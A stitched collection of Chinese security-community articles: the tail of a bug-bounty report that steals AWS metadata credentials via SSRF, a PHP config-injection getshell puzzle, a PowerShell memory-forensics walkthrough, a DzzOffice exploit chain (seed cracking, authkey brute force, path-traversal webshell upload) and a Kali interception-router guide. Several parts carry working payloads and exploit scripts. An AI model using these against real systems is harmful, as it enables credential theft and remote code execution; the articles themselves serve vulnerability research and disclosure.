在经过一段时间的学习后，我所了解到的是，缓存一般来说是基于URL路由路径的，如果URL是`[https://somewebsite.com/a.html](https://somewebsite.com/a.html)`那么它很可能与缓存中的URL路由路径相匹配，那么它就会被导向缓存，但如果网址是`[https://somewebsite.com/a.html?](https://somewebsite.com/a.html?)`那么URL路由路径将不会与缓存中的URL路由路径相匹配，因此它将直接从服务器获得响应。简单来说，我只需要在原来的请求后面加上一个问号或其他特殊符号`[http://169.254.169.254/latest/meta-data?](http://169.254.169.254/latest/meta-data?)`，即可不匹配缓存中的URL路由路径，就会直接访问服务器，得到即时回应。以下是我得到的响应：
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 06 Apr 2019 14:32:48 GMT
Content-Type: text/css;charset=UTF-8
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=15552000
X-frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
X-Proxy-Cache: MISS
Content-Length: 315
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
identity-credentials/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
product-codes
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
此时你可以看到响应头`X-Proxy-Cache`被设置为`MISS`，这意味着现在API调用绕过了缓存层，直接从服务器获取响应。
此时，我能够成功绕过缓存来利用SSRF。为了获得AWS帐户凭证，我调用了如下API读取AWS实例的元数据中的安全性凭证（AWS instance me
tadata security credentials），使用的URL为：`[http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance?](http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance?)`。
正如我所预料的，访问成功：
我获得了AWS访问ID，秘密访问密钥和令牌，我可以进入网站的AWS账户，获取敏感信息，进行下一步渗透。总结一下，我首先绕过了Cloudflare防火墙，找到了LFI漏洞，然后绕过Web缓存机制将其升级到SSRF漏洞，最后利用SSRF漏洞获得了AWS帐户凭据。
## 时间线
2019年4月6日 – 漏洞报告给有关公司。
2019年4月7日 – 漏洞已被修复。
2019年4月7日 – 重新测试并确认修复。
2019年4月9日 – 发放奖励。
谢谢你的阅读！
本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场：https://nosec.org/home/detail/2521.html
来源：https://www.nccgroup.trust/us/our-research/private-key-extraction-qualcomm-keystore/ | 社区文章 |
phithon师父在小蜜圈里放了一个经典的配置文件写入问题漏洞.
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
config.php 的内容如下:
<?php
$option='test';
要求是要getshell,这个场景十分经典，常用在修改配置文件写入的时候。
此处不存在之前说的那个配置文件中用的是”双引号”引起任意代码执行的问题,这这里面用的是单引号,而且
addslashes()处理过了,看似很安全,但是对于脑子里有个黑洞的搞安全的人来讲,这个还真是有问题的.
#### 方法一,利用换行符来绕过正则匹配的问题
可以看到正则匹配的是以下内容:
$option='任意内容'
任意内容里面是可以包含转移符 \ 的,所以我们利用下面的方法:
http://127.0.0.1/index.php?option=a';%0aphpinfo();//
http://127.0.0.1/index.php?option=a
执行完第一个之后,config.php中的内容为:
<?php
$option='a\';
phpinfo();//';
但是这样并没有办法执行phpinfo(),因为我们插入的 单引号 被转移掉了,所以phpinfo()还是在单引号的包裹之内.
我们在访问下面这个
http://127.0.0.1/index.php?option=a
因为正则 .* 会匹配行内的任意字符无数次.所以 \ 也被认为是其中的一部分,也会被替换掉,执行完之后,config.php中的内容为:
<?php
$option='a';
phpinfo();//';
转义符就被替换掉了,就成功的getshell.
#### 方法二,利用 preg_replace函数的问题:
用preg_replace()的时候replacement(第二个参数)也要经过正则引擎处理，所以正则引擎把`\\`转义成了`\`
也就是说如果字符串是`\\\'`,经过 preg_replace()的处理,就变为 `\\'`,单引号就逃出来了.
所以payload如下:
http://127.0.0.1/index.php?option=a\';phpinfo();//
config.php变为:
<?php
$option='a\\';phpinfo();//';
道理就是 `a\';phpinfo();//` 经过 addslashes()处理之后,变为`a\\\';phpinfo();//`
然后两个反斜杠被preg_replace变成了一个,导致单引号逃脱.
#### 方法三, 利用 preg_replace() 函数的第二个参数的问题
先看官方对preg_replace()函数的描述[manual](http://php.net/manual/zh/function.preg-replace.php)
函数原型:
xed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
对replacement的描述.
replacement中可以包含后向引用`\\n` 或(php 4.0.4以上可用)$n，语法上首选后者。 每个
这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。 n 可以是0-99，`\\0`和$0代表完整的模式匹配文本。
所以我们可以用:
http://127.0.0.1/test/ph.php?option=;phpinfo();
http://127.0.0.1/test/ph.php?option= 或者 http://127.0.0.1/test/ph.php?option=$0
执行第一条后config.php的内容为:
<?php
$option=';phpinfo();';
再执行第二条后config.php的内容为:
<?php
$option='$option=';phpinfo();';';
刚好闭合掉了前后的两个单引号中间的逃脱出来了.想出这个办法的人,思路真是可以的. | 社区文章 |
# 从PowerShell内存中提取取证脚本内容
|
##### 译文声明
本文是翻译文章，文章原作者 leeholmes，文章来源：leeholmes.com
原文地址：<http://www.leeholmes.com/blog/2019/01/17/extracting-forensic-script-content-from-powershell-process-dumps/>
译文仅供参考，具体内容表达以及含义原文为准。
在发布了《[从PowerShell进程转储中提取活动历史记录](https://www.leeholmes.com/blog/2019/01/04/extracting-activity-history-from-powershell-process-dumps/)》这篇文章后，我收到了一个有趣的问题：“如果没有捕获到原始文件，是否可以提取到已执行的脚本内容呢（从磁盘里）？”
答案是“可以”，但是操作起来很复杂。
我们从头开始一步一步看看是如何进行取证的，第一步先安装PowerShell的[WinDbg模块](http://www.leeholmes.com/blog/2009/01/21/scripting-windbg-with-powershell/)，我们需要它来做一些自动化的工作。
首先搭建我们的取证实验环境，在`C:temp`之类的目录下创建如下简单的脚本：
打开PowerShell会话，运行这个脚本。然后在任务管理器中Dump Powershell 内存：
现在，使用WinDbg模块连接到Dump下来的文件：
Connect-DbgSession -ArgumentList '-z "C:UsersleeAppDataLocalTemppowershell.DMP"'
## 开始取证
在开始我们的取证之前，让我们脑暴一下。我们的目的是提取Powershell会话中运行的脚本对象内容（如果存在的话），那么问题就是，如何找到这个脚本对象呢？
首先，我们使用SOS的`Dump
Object`命令来转储进程内存中的所有对象内容。然后，我们用`!DumpHeap`命令开始查找所有对象实例（eg：这里我们甚至没有用`-Type`过滤指令）。这一步和接下来的操作将花费很长时间，所以建议在睡觉之前跑这个命令
: D
$allReferences = dbg !dumpheap -short
一旦我们导出了所有对象引用，便可使用`!do`（Dump Object）命令将它们全部可视化。转储对象的输出中不包括被转储对象的地址，因此我们用`Add-Member`来跟踪它。
$allObjects = $allReferences | Foreach-Object { $object = dbg "!do $_"; Add-Member -InputObject $object Address $_ -PassThru -Force }
（第二天）确实是一大堆数据呢！这个进程大概有100万个被SOS识别出来的对象实例。他们中有SOS可以可视化的GUID吗？ 我们来看看：
看起来我们运气还不错。在上百万个对象中，我们设法将范围缩小到PowerShell内存中的7个`System.String`对象，这些对象以某种方式引用了GUID。如果我们认为信息可能一直在`System.String`中，我们可以使用`$allReferences
= dbg !dumpheap –type System.String –short`代替一开始的`$allObjects`来加快查询。
问题又来了，我们怎么知道谁包含了这些GUID呢？
为了找到答案，我们使用SOS的`!gcroot`命令。
这个命令通常用于诊断托管内存的泄漏问题。例如：“为什么CLR保留了字符串的一千万个实例？”。对于任何给定对象，`!gcroot`命令告诉您哪个对象引用了它，这样递归一直到对象树的根节点。
让我们探讨一下这些根节点。
好了，所以最后一个元素( 数组中的第6个 )并不是最终的根节点。它不会再被引用，很快就会被垃圾收集器清理干净。
第5个是以一个对象数组为根节点的，其中一个元素是`ConcurrentDictionary`，它包含一个`ScriptBlock`，`ScriptBlock`中包含`CompiledScriptBlockData`，`CompiledScriptBlockData`包含了PowerShell
AST中的节点，最后PowerShell AST引用了`CommandAst AST`，最终引用了这个GUID。
看起来还不错，那其他的呢，我们看看实例中的第4项：
有意思！
这个是以相同的根对象数组（0000026e101e9a40），相同的`ConcurrentDictionary`（0000026e003bc440）开头的，但这次最后是一个简单配对的元组（包含我们要找的String和另一个String）。
让我们深入了解那个元组及其包含的字符串：
这个元组有两个元素。 第一个元素看起来是执行脚本的路径，第二个元素看起来是该脚本中的内容。 让我们看看PowerShell
Source怎么定义这些数据结构的。 搜索一下`ConcurrentDictionary`， 在第三页我们可以看到：
有一个名为`CompiledScriptBlock`的类。 它包含一个名为`s_cachedScripts`的静态（进程范围）缓存。
这是一个将一对字符串映射到`ScriptBlock`实例的字典。
如果您阅读了源代码，您可以确切地看到Tuple的内容（一个脚本路径到ScriptBlock缓存内容的映射）：
这个数据结构就是我们最终要关心的。出于性能原因，PowerShell维护一个内部脚本块缓存，这样每次看到脚本时都不需要重新编译脚本块。
该缓存是路径和脚本内容的关键。 存储在缓存中的东西是`ScriptBlock`类的一个实例，它包含了已编译脚本的AST。
所以现在我们知道了它的存在，就可以自动化地并有目的性地去提取这些东西！ 现在我们正式开始写提取脚本，我们要做的就是：
1. 使用`!dumpheap`查找此元组类的实例。dumpheap命令会进行字符串搜索，我们可以使用正则表达式进行一些后期过滤
2. 我们拿到了实际想要研究的元组类的MT
3. 使用该MT作为过滤器再次运行`!dumpheap`
现在我们可以深入其中的一个节点。 它有一个m_key，我们可以研究一下。
差不多了！让我们从结果中提取出两个东西，然后获得一个漂亮的PowerShell对象：
这是一个漫长的过程，但是我们从一开始的假设到最后提取出脚本内容，都完整的过了一遍。现在，即使原始脚本文件已经被删除，你也能够从Powershell内存中恢复有所的脚本内容了。
以下是将所有这些都打包成了一个函数的最终脚本：
function Get-ScriptBlockCache
{
$nodeType = dbg !dumpheap -type ConcurrentDictionary |
Select-String 'ConcurrentDictionary.*Node.*Tuple.*String.*String.*]]$'
$nodeMT = $nodeType | ConvertFrom-String | Foreach-Object P1
$nodeAddresses = dbg !dumpheap -mt $nodeMT -short
$keys = $nodeAddresses | % { dbg !do $_ } | Select-String m_key
$keyAddresses = $keys | ConvertFrom-String | Foreach-Object P7
foreach($keyAddress in $keyAddresses) {
$keyObject = dbg !do $keyAddress
$item1 = $keyObject | Select-String m_Item1 | ConvertFrom-String | % P7
$string1 = dbg !do $item1 | Select-String 'String:s+(.*)' | % { $_.Matches.Groups[1].Value }
$item2 = $keyObject | Select-String m_Item2 | ConvertFrom-String | % P7
$string2 = dbg !do $item2 | Select-String 'String:s+(.*)' | % { $_.Matches.Groups[1].Value }
[PSCustomObject] @{ Path = $string1; Content = $string2 }
}
} | 社区文章 |
# 漏洞环境搭建
* [源代码下载地址](https://github.com/zyx0814/dzzoffice/releases/)
* 启动`LAMP`环境，将源码文件放入web目录下，访问浏览器访问web即可进入安装界面
* 根据提示一直点击下一步即可，数据库信息如下
* 管理员信息如下：
* 提示如下信息，安装成功
* 访问`admin.php?mod=setting&operation=sec`，检查验证码是否设置成功，这里一定要开启用户登录的验证码，不开启后续没有办法获取到想要的Cookie
# 漏洞原理分析
## random种子固定
漏洞产生的关键点在`install/index.php`，这个文件在完成安装之后会被自动删除，但是漏洞的作者，很细心的在这里发现了问题，这也提示我们不要忽略任何一个文件。
定位到相关代码片段
$uid = 1 ;
$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
$_config['db'][1]['dbhost'] = $dbhost;
$_config['db'][1]['dbname'] = $dbname;
$_config['db'][1]['dbpw'] = $dbpw;
$_config['db'][1]['dbuser'] = $dbuser;
$_config['db'][1]['port'] = $port?$port:'3306';
$_config['db'][1]['tablepre'] = $tablepre;
$_config['admincp']['founder'] = (string)$uid;
$_config['security']['authkey'] = $authkey;
$_config['cookie']['cookiepre'] = random(4).'_';
$_config['memory']['prefix'] = random(6).'_';
这里的`authkey`和`Cookie`前缀都是调用`random()`函数生成了一部分
* `authkey`：前6位是一堆变量md5后截取出来的，后十位是`random`函数生成的
* `Cookie`：前四位是`random`的生成的
跟进`random()`，该函数位于`install/include/install_function.php`:
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
这里的`random()`函数，跟修复随机数安全问题前的`Discuz`一模一样，没有重新播种，所有随机数都是通过同一个种子生成出来的
**一个小知识点：**
* 在PHP4.2.0之前的版本,必须要通过`srand()`或`mt_srand()`给`rand()`或`mt_rand()`播种,
* 在PHP4.2.0之后的版本,事先可以不再通过`srand()`或`mt_srand()`播种. 如直接调用`mt_rand()`,系统会自动播种.
* 系统会自动播种,系统播种种子范围为0-2^32(32位系统),这样似乎也能枚举
* `PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);` 这段代码是为了版本兼容写的
我们可以利用如下固定了种子的值得`Demo`做测试：
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
PHP_VERSION < '4.2.0' && mt_srand(123456);
mt_srand(123456);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
echo random(10);
我们可以得出结论`在同一进程中,同一个seed,每次通过mt_rand()生成的值都是固定的`
## 通过Cookie获取种子
由于这里的Cookie前缀是我们可以获取到的，所以我们可以跑一遍PHP的所有的种子，得到11-14
位对应的随机数序列所对应的随机字符，判断是否为我们的Cookie前缀。这样就能获取所有随机可能的种子
再通过所有可能的随机数种子生成第1-10位对应的随机字符，这样就可以拿到`authkey[-10]`,至于前6位只能选择爆破
这样的话我们就能获得很多组可能的`authkey`
这样的话要解决两个问题：
* `authkey`有什么作用
* 如何验证`authkey`的正确性
## authkey的作用
这个系统大量套用`Discuz`的代码，因此`authkey`和`Discuz`里面的效果一样，在一种流算法`authcode()`中使用的key，来加密一些重要的参数。这也就意味着，只要能够拿到这个`authkey`我们就能，传入我们需要的参数。
## 验证authkey的正确性
通过全局搜索可以找到一处`authcode()`可控明文点，且加密之后的数据能够被获取到。文件`core/function/function_seccode.php`
代码片段如下：
dsetcookie('seccode'.$idhash, authcode(strtoupper($seccode)."\t".(TIMESTAMP - 180)."\t".$idhash."\t".FORMHASH, 'ENCODE', $_G['config']['security']['authkey']), 0, 1, true);
这里设置了一个cookie，密文是用 `authkey`生成的，并且密文可以被得到，利用这里的cookie即可验证`authkey`的正确性。
## 完整爆破`authkey`流程
1. 通过cookie前缀爆破随机数的seed，使用`php_mt_seed`工具。
2. 用seed生成random(10)，得到所有可能的`authkey`后缀。
3. 查看Cookie，获取`$idhash`，和对应的密文
4. 用生成的后缀爆破前6位，范围是`0x000000-0xffffff`，解密密文观察是否正确
5. 将计算出来的密文和获取的密文比较，相等即停止，获取当前的`authkey`。
# 漏洞利用验证
## 得到authkey
Cookie前缀我们很容易得到
利用如下脚本获得`php_mt_seed`可以处理格式的数据
w_len = 10
result = ""
str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
length = len(str_list)
for i in range(w_len):
result += "0 "
result += str(length-1)
result += " "
result += "0 "
result += str(length - 1)
result += " "
sstr = "gGyk"
for i in sstr:
result += str(str_list.index(i))
result += " "
result += str(str_list.index(i))
result += " "
result += "0 "
result += str(length - 1)
result += " "
print(result)
result：0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 42 42 0 61 6 6 0 61 60 60 0 61 46 46 0 61
生成可能的种子文件：
使用如下脚本处理暴力爆破，验证idhash即可
<?php
$pre = 'gGyk';
$seccode = substr('gGyk_2132_seccodeST09ZLe0', -8);
$string = '2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0';
$seeds = explode("\n", file_get_contents('seed.txt'));
for ($i = 0; $i < count($seeds); $i++) {
if(preg_match('/= (\d+) /', $seeds[$i], $matach)) {
mt_srand(intval($matach[1]));
$authkey = random(10);
echo $authkey;
if(random(4) == $pre){
echo "trying $authkey...\n";
$res = crack($string, $authkey, $seccode);
if($res) {
echo "authkey found: ".$res;
exit();
}
}
}
}
function crack($string, $authkey, $seccode) {
$chrs = '1234567890abcdef';
for ($a = 0; $a < 16; $a++) {
for ($b = 0; $b < 16; $b++) {
for ($c = 0; $c < 16; $c++) {
for ($d = 0; $d < 16; $d++) {
for ($e = 0; $e < 16; $e++) {
for ($f = 0; $f < 16; $f++) {
$key = $chrs[$a].$chrs[$b].$chrs[$c].$chrs[$d].$chrs[$e].$chrs[$f].$authkey;
$result = authcode_decode($string, $key);
if (strpos($result, "\t$seccode\t")) {
return $key;
}
}
}
}
}
}
}
return false;
}
function authcode_decode($string, $key) {
$key = md5($key);
$ckey_length = 4;
$keya = md5(substr($key, 0, 16));
$keyc = substr($string, 0, $ckey_length);
$cryptkey = $cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = base64_decode(substr(str_replace(array('_', '-'), array('/', '+'), $string), $ckey_length));
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $result;
}
function random($length) {
$hash = '';
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
最终可以得到`authkey`，`3ccd48TRC0BU9NnD`
## 文件上传点
拿到`authKey`之后,全局搜索`dzzdecode(`能找到很多的利用点。这里演示一个文件上传的利用。
在`core/api/wopi/index.php`中：
跟进`Wopi::PUTFile`：
调用`IO::SetFileContent`跟进：
跟进`self::clean`:
这里将`\n`,`\r`,`../`替换为空，可以使用`..././`绕过
回头跟进`self::initIO`:
根据`Path`的值实例化类
回到开始的`PUTFile`，Content获取`php://input`也就是POST数据流，Path采用流式加密，GET获取，也是可控的，这样直接上传文件即可
使用脚本加密`Path`
<?php
function authcode_config($string,$key, $operation = 'DECODE', $expiry = 0)
{
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
echo base64_encode(authcode_config("disk::..././..././..././shell.php",md5('3ccd48TRC0BU9NnD'),'ENCODE'));
构造数据包
POST /dzz/core/api/wopi/index.php?access_token=1&action=contents&path=Y2RhNUl5N09ZVW8vaGNkV0tEcU1qZzc0bGtLWGlIVXZEdjY3eUxmaXFiR3k1VDhtNUJXSFZnZHF1Y3I1VGZCcmtDNXljVGJaMVFnSWlNVENzR1U= HTTP/1.1
Host: localhost
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: gGyk_2132_saltkey=xkBk27da; gGyk_2132_lastvisit=1658359791; gGyk_2132_sid=T09ZLe; gGyk_2132_lastact=1658363412%09misc.php%09seccode; gGyk_2132_seccodeST09ZLe0=2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0
Connection: close
Content-Length: 18
Content-Type: application/x-www-form-urlencoded
<?php phpinfo();?>
访问根目录的`shell.php`即可RCE
POST /dzz/shell.php HTTP/1.1
Host: localhost
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: gGyk_2132_saltkey=xkBk27da; gGyk_2132_lastvisit=1658359791; gGyk_2132_sid=T09ZLe; gGyk_2132_lastact=1658363412%09misc.php%09seccode; gGyk_2132_seccodeST09ZLe0=2121YXrez2Rb_00AasW9CQZdtAIM2HTcnua-PmShhMGHLfrWTtXnAkbq42XcqrY94rVDphUTYWnaK9OX9m0
Connection: close
Content-Length: 18
Content-Type: application/x-www-form-urlencoded
<?php phpinfo();?>
# 总结
* `DzzOffice`大量借用`dizcus`的代码，导致产生了相同的问题，即随机数种子可爆破，最终得到`authkey`，最终利用密码，加密参数进行RCE。
* 漏洞产生点在`install/index.php`这个目录在安装之后就会被删除，因此在做代码审计过程中，应该注意任何一个文件
* 不应该只有着一种漏洞，大量借用`dizcus`代码，后续可以通过该思路，寻找`dizcus`的历史漏洞，对该系统就行漏洞挖掘
* 在复现该漏洞时在该项目的`github`的`Issus`里发现一处有意思的点：
感觉非常突兀，由于`defined`的限制，页面没法直接访问，但是要是能绕过Defend，是不是能直接前台文件包含呢，这样的话，我们利用远程文件包含，是不是就可以RCE？我不太明白这里代码的作用，也就没有深入的去挖掘，但是感觉很有利用的可能。
# 参考链接
* <https://github.com/zyx0814/dzzoffice/issues/137>
* <https://www.anquanke.com/post/id/86679>
* <https://www.cnblogs.com/KHZ521/p/14662410.html#0x02> | 社区文章 |
# 【技术分享】KaliRouter安装与使用全指南
|
##### 译文声明
本文是翻译文章，文章来源：github.com/koenbuyens
原文地址：<https://github.com/koenbuyens/kalirouter>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
KaliRouter可以将你的Kali
Linux设备变成一台路由器，你将不仅能够记录下所有的网络流量（[Wireshark](https://www.wireshark.org/)），而且还可以将HTTP和HTTPS流量发送至一个拦截代理，例如BurpSuite等等。
**安装**
我们会将Kali
Linux配置成一台代理型路由器，连接至这台“路由器”的客户端（例如嵌入式设备和手机App）都可以正常进行网络通信，但是其中的某些数据包将会被我们的Kali
Linux设备所拦截并使用Wireshark进行监控，并重定向至代理服务器。Kali
Linux设备以及BurpSuite都将以透明代理的形式运行，客户端不会感受到它们的存在。整个运行架构如下图所示:
在配置我们的Kali Linux之前，我们需要配置[ **VMWare**](https://www.vmware.com/) 和网络接口。
1\. 我们在VMWare中运行Kali Linux，并将网络改为桥接模式，这样可以让Kali
Linux直接链接到网络之中，而被监控的设备（应用程序或手机）同样可以正常连接至网络。
2\. 我们需要连接两个适配器（以太网和WiFi），并给Kali分配USB适配器，我们选择使用的是[ **Ethernet LAN Network
Adapter ASIX AX88179**](https://www.amazon.com/Plugable-Gigabit-Ethernet-Network-Adapter/dp/B00AQM8586) 和[ **Atheros UB91C
USB无线适配器**](https://www.amazon.com/gp/product/B004Y6MIXS/ref=oh_aui_detailpage_o00_s00?ie=UTF8&psc=1)
。其实你可以使用任何一款Linux兼容的USB无线网卡，只要它支持混杂模式即可。
**将Kali Linux配置成路由器**
我们的Kali Linux设备会将USB网络接口的流量路由到Kali自己的网络连接，创建路由器的方法如下。
开始配置之前，我们需要先查看本机的网络接口。我们可以使用命令ifconfig查看插入USB适配器之前和之后的设备状态。
$ ifconfig -a
我们的以太网适配器一般会是eth1，而WiFi适配器一般是wlan0。
我们需要配置network-manager服务，告诉该服务我们会将适配器的MAC地址添加到/etc/NetworkManager/NetworkManager.conf文件的unmanaged-devices参数之中，并接管我们自己添加的接口。
[keyfile] unmanaged-devices=mac:d8:eb:97:b6:ce:12;mac:56:6b:a2:90:c4:b9
接下来，重启网络服务，这样设备会进入“无管理”状态。
$ /etc/init.d/networking restart
**以太网配置**
在创建监听网络之前，我们需要选择一个合适的网络地址和子网掩码。我们这里要选择一个与Kali所在网络IP范围（eth0）不同的地址空间，以此来确保受监控设备的IP地址不会跟我们的监控网络发生冲突。在我们的配置环境中，我们选择的是172.16.0.0/12。
由于我们需要让我们的无线网络和有线网络处于同一网络中，我们选择使用[ **bridge-utils**](https://help.ubuntu.com/community/NetworkConnectionBridge)
工具在这两者之间搭建一个桥梁。
$ apt-get install bridge-utils
接下来，删除任何分配给有线网络接口（eth1）的IP地址。
$ ip addr flush dev eth1
创建一个名为br0的桥接接口。
$ brctl addbr br0
将我们的有线接口eth1添加到桥接接口br0。
$ brctl addif br0 eth1
接下来，开启桥接接口br0。
$ ip link set dev br0 up
根据我们选择的IP地址空间，给这个br0接口分配一个IP地址。因为它的功能是作为被监控设备的网关，所以我们选择172.16.0.1。
$ ip addr add 172.16.0.1/12 dev br0
**Wi-Fi数据链路层**
配置好以太网接口之后，使用hostapd程序创建一个无线接入点。使用apt-get命令安装hostapd（关于hostapd的使用和配置信息，请参考【[
**这份文档**](http://wireless.kernel.org/en/users/Documentation/hostapd) 】）：
$ apt-get install hostapd
然后使用下列信息创建配置文件hostapd.conf：
# create a wireless network with this interface; change it if your wireless card is not wlan0 interface=wlan0 # change this if a different bridge interface was chosen bridge=br0 # the name of our wireless network ssid=Monitor-Network # Change the passphrase to something you like wpa_passphrase=Monitor-Network # the driver used driver=nl80211 auth_algs=3 # the wireless channel we listen on. channel=7 driver=nl80211 # the mode we use (g) hw_mode=g # we don't log logger_stdout=-1 logger_stdout_level=2 max_num_sta=5 rsn_pairwise=CCMP wpa=2 wpa_key_mgmt=WPA-PSK wpa_pairwise=TKIP CCMP
创建完无线接口wlan0之后，我们要启用无线接入点：
$ ip link set dev wlan0 up
接下来，让hostapd程序开启监控网络：
$ hostapd ./hostapd.conf -B
**网络配置**
配置好无线和有线网络之后，我们要开启内核选项以支持IP转发功能，然后配置iptables将所有的网络数据包转发至该接口。
$ sysctl -w net.ipv4.ip_forward=1 $ iptables -P FORWARD ACCEPT $ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
**网络服务**
我们使用[ **dnsmasq**](http://www.thekelleys.org.uk/dnsmasq/doc.html)
来作为我们的DNS和DHCP服务器。使用下列命令安装dsnmasq：
$ apt-get install dnsmasq
然后使用下列信息创建并配置dnsmasq.conf文件：
# listen to this interface; change it if a different bridge name was chosen interface=br0 # give IP addresses, lease is valid for 8 hours dhcp-range=172.16.0.10,172.31.255.254,8h # router dhcp-option=3,172.16.0.1 # dns server dhcp-option=6,172.16.0.1 # upstream DNS server server=8.8.8.8 log-queries log-dhcp # include addresses address=/attacker.com/172.16.0.1
配置完成之后，我们需要重启dnsmasq守护进程：
$ service dnsmasq restart
**嗅探并拦截流量**
在我们的监控网络中所有设备的网络流量都是通过桥接接口br0传递的，我们可以直接通过wireshark来嗅探该接口的网络流量。我们这里选择使用tshark，它相当于是命令行界面的wireshark。接下来，我们将监听接口br0，并将所有监听到的流量数据写入到一份文件中（output.pcap）。
$ tshark -i br0 -w ./output.pcap -P
